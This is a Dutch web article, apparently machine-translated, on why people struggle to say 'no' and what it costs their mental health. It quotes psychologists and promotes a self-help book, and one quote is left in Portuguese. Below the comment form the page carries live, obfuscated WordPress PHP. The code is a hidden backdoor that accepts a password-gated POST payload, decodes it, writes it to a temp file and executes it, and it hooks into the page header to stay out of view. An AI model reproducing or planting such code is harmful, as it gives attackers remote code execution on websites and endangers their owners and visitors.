Waarom “nee” zeggen moeilijk kan zijn en hoe het goed kan zijn voor je geestelijke gezondheid

U bent vast wel eens een situatie tegengekomen waarin u graag “nee” had willen zeggen, maar een negatief antwoord vermeed en uiteindelijk iets deed wat u niet leuk zou vinden.

Het gevoel komt vaak voor en hangt samen met verschillende factoren, waaronder de wens om geaccepteerd te worden door de ander, volgens experts op het gebied van gedrag en geestelijke gezondheid.

Psycholoog Maycon Rodrigo Torres, lid van het Laboratorium voor Psychoanalyse en Sociale Binding aan de Federale Fluminense Universiteit (UFF) en hoogleraar psychologie aan Faculdade Maria Thereza (Famath), benadrukt hoe weigering affectieve relaties kan beïnvloeden.

“Zeggen betekent in zekere zin niet dat je de eis ontkent die een andere persoon van je maakt en dat maakt de persoon bezorgd over hoe hij door die persoon zal worden gezien. Hoe kan deze weigering om een ​​bepaalde activiteit uit te voeren of op de een of andere manier te reageren, de mening van de ander over jou schaden? Hier hebben we een beetje die beweging van overmatige bezorgdheid over hoe het individu door de ander wordt gezien”, zegt hij.

Psychologe Luana Ganzert, een specialist in emoties, zegt dat geaccepteerd worden deel uitmaakt van de emotionele basisbehoeften van individuen en dat weigeringen in deze context kunnen interfereren.

“Wanneer we aan deze basisbehoefte voldoen, zijn we bang om afgewezen te worden, om niet geliefd en geaccepteerd te worden. Sommige mensen zijn gevoeliger en kunnen niet tegen de mogelijkheid dat ze niet worden goedgekeurd. Anderen gaan conflicten liever uit de weg. Dit zijn de grootste redenen waarom mensen bang zijn om nee te zeggen”, legt hij uit.

Voor psycholoog en hoogleraar psychoanalyse Ronaldo Coelho is het vermijden van nee zeggen ook een gevonden manier om ‘de ander te beschermen’.

“Maar als we de ander ‘beschermen’ tegen frustratie, creëren we de omstandigheden waarin hij verschrompeld raakt in het aangezicht van het leven. Laten we ons voorstellen dat wanneer we gefrustreerd raken, het is alsof er een gewicht op ons valt. Om dat gewicht te kunnen verwijderen, hebben we spieren nodig. Als we worden beschermd tegen frustratie, ontwikkelen we deze spier niet, verschrompelen we en als het gewicht op ons valt, zijn we overweldigd, kunnen we het niet aan”, legt hij uit.

Gevolgen voor de geestelijke gezondheid

De hele tijd handelen met als doel de ander te plezieren, zonder na te denken over wat je echt wilt, kan leiden tot het ‘uitwissen’ van je eigen grenzen en verlangens, legt Coelho uit.

“Het komt vaak voor dat mensen niet weten wat ze leuk vinden en wat ze niet leuk vinden, wat goed en wat slecht voor ze is, wat goed is en wat niet, ze verliezen het vermogen om belangrijke beslissingen te nemen voor hun leven. Het is alsof ze altijd de blik van de ander nodig had, het oordeel van de ander, om te beslissen over haar eigen leven, haar eigen wensen en verlangens”, zegt ze.

De beoordeling wordt gedeeld door Torres. “Het grote probleem met niet in staat zijn om nee te zeggen, is dat de persoon in het algemeen opgeeft wat hij zou willen doen in naam van het verlangen van de ander. Dit proces kan leiden tot overbelasting. De persoon verzamelt taken of dingen om te doen en deze overbelasting heeft de neiging om de angst verder te vergroten, wat op de lange termijn kan leiden tot meer chronische problemen.

Gevolgen zijn onder meer het ontstaan ​​van slaapproblemen, invloed op de prestaties op werk of studie, en angstgerelateerde beperkingen.

Psychologe Luana Ganzert zegt dat mensen die niet weten hoe ze nee moeten zeggen, vaak onzekerder zijn of vermoeidheid en discussies over het hebben van een tegengestelde mening liever vermijden.

“Als je overal ‘ja’ op zegt, is het onwaarschijnlijk dat je voor jezelf zorgt. Alles accepteren betekent emotioneel lijden in stilte. Door ‘ja’ te zeggen, terwijl ze het tegenovergestelde wilden zeggen, onderwerpen mensen zich aan situaties die hen schade berokkenen, emotioneel en in sommige gevallen zelfs financieel. Ze kopen dingen die ze niet willen omdat ze zich moeilijk kunnen opdringen op aandringen van de verkoper, ze sluiten ongewenste compromissen, regelen giftige en vaak gewelddadige relaties”, voegt hij eraan toe.

Hoe u kunt oefenen met ‘nee’ zeggen en schuldgevoel verminderen

Psychologe Gislene Erbs merkte dat haar patiënten er veel moeite mee hadden om ‘nee’ te zeggen wanneer dat nodig was, en dat ze hierdoor gefrustreerd en ongelukkig werden. Door te proberen hen emotioneel te versterken, zodat ze zichzelf als prioriteiten konden stellen, zich veilig voelen om te ontkennen wat hen niet interesseerde, kwam Gislene dieper in contact met haar eigen zwakheden. Ze herinnerde zich gebeurtenissen waarbij ze door beperkende overtuigingen niet het gewenste en verdiende “nee” kon zeggen, waardoor ze lichamelijk en geestelijk ziek werd.

De kruising tussen haar pijn en de pijn van anderen hielp Gislene manieren te vinden om met dit tekort om zichzelf altijd op de achtergrond te plaatsen, om te gaan. Deze manieren van handelen werden gebundeld in een methode, samengesteld uit strategisch uitgewerkte technieken en tools. Een methode die, nadat ze bij haar patiënten was gebruikt en door hen was gevalideerd, de psycholoog besloot te delen in het boek “Ja of nee – De moeilijke kunst om jezelf op de eerste plaats te zetten in je leven”, dat deze maand werd uitgebracht.

“Após tantos anos trabalhando com esse método, e a pedido de muitos dos meus pacientes, resolvi colocar neste livro as bases desse método, de resultados comprovados a partir de meus muitos anos de experiência, que irão ajudar você a aumentar e melhorar sua capacidade de dizer ‘não’ de maneira adequada e justa, de modo que consiga com isso melhorar sua qualidade de vida, preservando ainda seus bons relacionamentos”, afirma a autora no início da obra.

In het eerste hoofdstuk van het boek nodigt Gislene haar lezers uit om na te denken over de vraag of ze hun geluk in de handen van anderen leggen en zich af te vragen wat de redenen en gevolgen van dit gedrag zijn. De auteur stelt dat het noch gezond noch logisch is om je eigen welzijn op te offeren om anderen te plezieren, maar helaas doen mensen dit meestal omdat ze niet weten hoe ze “nee” moeten zeggen.

De kunst om ‘nee’ te zeggen kan echter in de loop van de tijd worden getraind en verbeterd, aldus de psycholoog. De technieken en hulpmiddelen die in het boek worden gepresenteerd, zijn bedoeld om mensen bij deze taak te helpen.

Het tweede hoofdstuk van het werk gaat over het verlangen om zich gewaardeerd te voelen. Volgens Gislene is het deze ambitie die ervoor zorgt dat veel mensen, die koste wat het kost anderen willen behagen, er nooit in slagen om “nee” te zeggen tegen hun eisen. “Alleen door dat te doen, bewandel je het verkeerde pad en word je niet meer gewaardeerd, zelfs niet door jezelf”, zegt hij.

Het werk biedt een test met uitspraken en vragen die helpen om bepaalde gedragspatronen te identificeren die leiden tot passiviteit tegenover de eisen van andere mensen.

Het gebrek aan moed om ‘nee’ te zeggen is het onderwerp van het derde hoofdstuk van het boek. Om deze zwakte te overwinnen, benadrukt Gislene het belang van het trainen van de lezer om de juiste keuzes te maken en zo hun niveau van rust en gezondheid te vergroten, de kwaliteit van goede relaties te zoeken en hun welvaart aan te moedigen.

Volgens de specialist moet de lezer in die zin ook altijd in de eerste plaats voor zichzelf proberen te kiezen. “Je geluk begint met respect voor jezelf”, zegt hij.

Omgaand met het dilemma tussen “ja” zeggen en “nee” zeggen, behandelt de auteur in het vierde hoofdstuk het belang van zelfkennis om de echte redenen voor het ongemak dat velen hebben bij het zeggen van een noodzakelijk “nee” beter te begrijpen.

Voor Gislene is de beste gemoedstoestand om het proces van zelfkennis te starten, te begrijpen dat in de eerste plaats voor jezelf kiezen niet noodzakelijkerwijs egoïstisch is. Rekening houden met het eigen belang is volgens de psycholoog het oefenen van de beste keuzes, waardoor de beste resultaten worden behaald.

De expert legt uit dat om een ​​”nee” correct te gebruiken in de meest uiteenlopende situaties in het leven, het noodzakelijk is om de werkelijke waarde ervan te begrijpen, terwijl een gezonde relatie wordt onderhouden met degenen aan wie het negatieve antwoord werd gegeven.

De auteur benadrukt hoe het waarderen van zichzelf hand in hand gaat met zelfrespect en hoe dit, wanneer het toeneemt, assertievere besluitvorming mogelijk maakt, goede relaties opbouwt en helpt om verantwoordelijkheid te nemen voor levenskeuzes. Bovendien helpt volgens haar in de eerste plaats voor jezelf kiezen om het gevoel van eigenwaarde te vergroten, en om duidelijk te zijn over de redenen voor je “nee”.

Om de moeilijkheid om “nee” te zeggen te overwinnen, moet het individu zich bewust worden van de factoren die zijn besluitvorming beïnvloeden. Het boek gaat in op deze factoren, waaraan volgens Gislene moet worden gewerkt, zodat het individu zich meer op zijn gemak voelt bij de keuzes die hij moet maken.

Onder hen zijn: gebrek aan zelfkennis; impulsiviteit; gebrek aan sociale vaardigheden; spanning; Negatief zelfbeeld; het gevoel van medelijden; het gebrek aan emotionele intelligentie; de angst voor afwijzing; de behoefte aan zelfbevestiging; en de realiteit van het willen eren van vader en moeder.

“Een volmondig en adequaat nee is in feite een kreet van vrijheid – voor jou en, geloof me, voor degenen die het ontvangen”, zegt de psycholoog. Volgens de auteur is het om correct te ontkennen niet nodig om agressief te zijn, maar assertief en vastberaden.

Gislene belicht enkele punten die moeten worden geleerd, zodat de persoon beter wordt in de kunst om “nee” te zeggen. Dit zijn: de werkelijke waarde begrijpen van het uiten van ontkenning, bewuste keuzes maken en omgaan met emoties.

“Gebruik al uw macht om in uw eigen voordeel te beslissen. Je bent al voorbereid op deze reis, waar je de rol van jouw beslissingen op je neemt en je voorbereidt om zoveel ‘nee’s’ te zeggen als nodig is om je leven meer waarde te geven’, zegt hij.

Leave a Reply

Your email address will not be published. Required fields are marked *



if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}